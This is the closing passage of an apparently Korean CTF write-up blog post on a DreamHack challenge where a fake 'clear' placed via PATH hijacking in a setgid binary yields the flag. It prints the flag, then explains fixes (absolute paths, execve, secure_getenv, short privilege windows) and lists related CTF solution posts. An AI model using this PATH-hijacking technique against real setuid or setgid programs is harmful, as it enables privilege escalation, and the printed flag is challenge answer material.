gid=1001(pwned) 로 바뀐 채 flag 가 나왔다. 마지막 Tada~! 는 우리 스크립트가 끝난 뒤 chal 이 원래 하려던 일을 마저 한 것이다. system() 은 자식이 뭘 했는지 신경 쓰지 않고 그냥 돌아온다.

FLAG: DH{e47d874ddc629f916d3d5ef6f0d0de90c7b151f9d7010325d051c811382b489f}



🛡️ 방어 — 어디를 고쳐야 하나

절대경로를 쓴다.

가장 직접적인 수정이다. system("clear") 를 system("/usr/bin/clear") 로 바꾸면 PATH 탐색이 일어나지 않는다. 권한 있는 프로세스가 외부 프로그램을 부를 땐 이름이 아니라 경로로 부르는 게 기본이다.

셸을 아예 부르지 않는다.

절대경로를 써도 system() 은 여전히 /bin/sh -c 를 띄운다. 셸이 끼면 IFS 같은 다른 환경변수도 판단에 끼어들고, 인자에 메타문자가 섞이면 명령 주입으로 번진다. fork 후 execve("/usr/bin/clear", argv, envp) 로 직접 부르면 그 층이 통째로 사라진다. dash man 페이지가 system(3) 과 popen(3) 을 콕 집어 언급한 것도 같은 맥락이다.

환경변수를 신뢰하지 않는다.

동적 로더는 setuid/setgid 실행을 감지하면 LD_PRELOAD 류를 무시한다. 하지만 그건 로더가 자기 몫을 방어하는 것이고, PATH·IFS·TMPDIR 은 여전히 공격자 손에 있다. glibc 의 secure_getenv() 는 이런 상황에서 NULL 을 돌려주도록 만들어진 함수다. 권한 있는 코드가 환경변수를 읽어야 한다면 getenv() 대신 이쪽을 쓰거나, 아예 PATH 를 안전한 값으로 다시 세팅한다.

권한은 필요한 순간에만 올린다.

이 문제의 setresgid(1001, 1001, 1001) 는 정반대를 한다. sgid 까지 1001로 덮어써서 원래 gid 로 돌아갈 길을 없앤 뒤 셸을 부른다. 실제 코드라면 flag 를 읽는 그 순간에만 egid 를 올리고 바로 setegid(getgid()) 로 내려놔야 한다. 권한 구간이 짧을수록 그 안에서 남의 코드가 실행될 여지가 줄어든다.

그런 파일에 setgid 를 달지 않는다.

애초에 사용자가 실행하는 프로그램에 그룹 권한을 얹어야 하는지부터 따져 볼 일이다. 읽기 전용 데이터를 보여 주는 게 목적이라면 별도 데몬에 물어보게 하거나 파일 권한을 조정하는 편이 낫다.


📝 결론

main 이 세 줄인데 두 줄이 한 쌍이었다.

system("clear") 만 보면 PATH 하이재킹이 바로 떠오른다. 실제로 그게 답이다. 하지만 그것만 알고 있으면 왜 성립하는지는 설명하지 못한다. setgid 비트만 달린 바이너리에 같은 공격을 하면 dash 가 시작하면서 권한을 내려놓아 아무것도 못 얻는다. 바로 앞줄의 setresgid 가 그 판단 기준(egid != rgid)을 지워 주기 때문에 공격이 값을 갖는다.

막힌 곳에서 배운 게 더 많았다.

"셸이 떨어뜨린 것 같다"는 추측을 확정하려고 execl 프로브를 만들었는데, exec 대상이 #!/bin/sh 스크립트라 셸이 도로 끼어들었다. 결과만 보고 "커널이 범인"이라고 결론 낼 뻔했다. 대상을 ELF 로 바꾸고 나서야 egid 가 살아남는 걸 봤다. 변인 하나를 제대로 통제하는 게 생각보다 어렵다.

실패가 조용한 문제였다.

chal 은 무슨 일이 있어도 Tada~! 를 찍고 0으로 끝난다. 실행 권한을 안 줘도, PATH 를 잘못 써도 화면은 똑같다. 이런 문제일수록 "성공했을 때 보일 것"을 미리 정해 두고(여기서는 id 한 줄) 그게 나오는지로 판단해야 한다. 가짜 clear 안에 cat 만 넣지 않고 id 를 같이 넣은 건 그래서였다.

환경변수는 입력이다.

PATH 는 설정처럼 보이지만 공격자가 고를 수 있는 값이다. 권한 경계를 넘는 코드에서는 인자·파일 내용과 똑같이 취급해야 한다. CWE 가 이걸 별도 항목(CWE-426 Untrusted Search Path)으로 두고 있는 이유이기도 하다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥈 Silver 4] setuid 바이너리가 스스로 안전장치를 끄는 순간 — DreamHack file-special-bit 풀이
blog

[🥈 Silver 4] setuid 바이너리가 스스로 안전장치를 끄는 순간 — DreamHack file-special-bit 풀이

dream 소유의 setuid 바이너리가 argv[1] 을 그대로 "cat %s" 에 끼워 system() 으로 넘긴다. 보통은 sh 가 실행 즉시 euid 를 ruid 로 되돌려 이런 주입이 무력해지는데, 이 문제는 system() 직전에 setreuid(geteuid(), geteuid()) 로 real uid 까지 올려 버려서 sh 가 떨어뜨릴 권한을 남기지 않는다. 같은 코드에서 그 한 줄만 뺀 대조군을 만들어 차이를 직접 찍었고, filename 버퍼가 10바이트라 전체 경로가 잘리는 것도 gdb 로 확인했다.
#dreamhack#ctf#misc+7
2026-07-28#dreamhack +6
[🥉 Bronze 2] SUID gcc 와 사라진 상한 검사 — DreamHack Stupid GCC 풀이
blog

[🥉 Bronze 2] SUID gcc 와 사라진 상한 검사 — DreamHack Stupid GCC 풀이

홈 디렉토리에 쓸 권한이 없는데 root 는 그 안의 a.out 을 10초마다 실행한다. SUID 가 붙은 gcc 가 대신 파일을 써 주고, 배열 첨자가 만든 미정의 동작 때문에 gcc -O2 가 루프의 상한 검사를 통째로 지운다. 두 관문을 이어 붙여 /flag.txt 를 읽어냈다.
#dreamhack#ctf#pwnable+6
2026-08-12#dreamhack +4
[🥈 Silver 2] 상자를 16칸으로 줄인 대가 — DreamHack Nice forest picture 풀이
blog

[🥈 Silver 2] 상자를 16칸으로 줄인 대가 — DreamHack Nice forest picture 풀이

RC4 를 그대로 옮겨 놓고 S 박스만 256칸에서 16칸으로 줄인 스트림 암호다. 원소가 0에서 15 뿐이라 출력도 니블 하나여서 평문의 상위 절반이 암호문에 그대로 남고, 출력이 S 두 칸의 XOR 이라 한 칸만 가정하면 나머지가 줄줄이 강제된다. PNG 시그니처 16바이트를 겹쳐 초기 순열을 0.7초에 되찾고 4.3MB 를 통째로 복호했다.
#dreamhack#ctf#crypto+6
2026-08-21#dreamhack +3